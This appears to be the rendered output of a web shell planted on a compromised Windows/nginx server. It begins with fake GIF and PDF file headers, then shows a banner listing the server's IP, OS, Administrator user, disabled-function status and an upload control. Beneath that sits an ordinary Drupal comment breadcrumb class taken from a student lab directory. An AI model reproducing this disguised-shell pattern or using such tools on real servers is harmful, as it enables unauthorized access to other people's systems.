GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/comment/src/ |
Upload File : |
<?php namespace Drupal\comment; use Drupal\Core\Breadcrumb\BreadcrumbBuilderInterface; use Drupal\Core\Breadcrumb\Breadcrumb; use Drupal\Core\Entity\EntityManagerInterface; use Drupal\Core\Link; use Drupal\Core\Routing\RouteMatchInterface; use Drupal\Core\StringTranslation\StringTranslationTrait; /** * Class to define the comment breadcrumb builder. */ class CommentBreadcrumbBuilder implements BreadcrumbBuilderInterface { use StringTranslationTrait; /** * The comment storage. * * @var \Drupal\Core\Entity\EntityStorageInterface */ protected $storage; /** * Constructs the CommentBreadcrumbBuilder. * * @param \Drupal\Core\Entity\EntityManagerInterface $entity_manager * The entity manager. */ public function __construct(EntityManagerInterface $entity_manager) { $this->storage = $entity_manager->getStorage('comment'); } /** * {@inheritdoc} */ public function applies(RouteMatchInterface $route_match) { return $route_match->getRouteName() == 'comment.reply' && $route_match->getParameter('entity'); } /** * {@inheritdoc} */ public function build(RouteMatchInterface $route_match) { $breadcrumb = new Breadcrumb(); $breadcrumb->addCacheContexts(['route']); $breadcrumb->addLink(Link::createFromRoute($this->t('Home'), '<front>')); $entity = $route_match->getParameter('entity'); $breadcrumb->addLink(new Link($entity->label(), $entity->urlInfo())); $breadcrumb->addCacheableDependency($entity); if (($pid = $route_match->getParameter('pid')) && ($comment = $this->storage->load($pid))) { /** @var \Drupal\comment\CommentInterface $comment */ $breadcrumb->addCacheableDependency($comment); // Display link to parent comment. // @todo Clean-up permalink in https://www.drupal.org/node/2198041 $breadcrumb->addLink(new Link($comment->getSubject(), $comment->urlInfo())); } return $breadcrumb; } }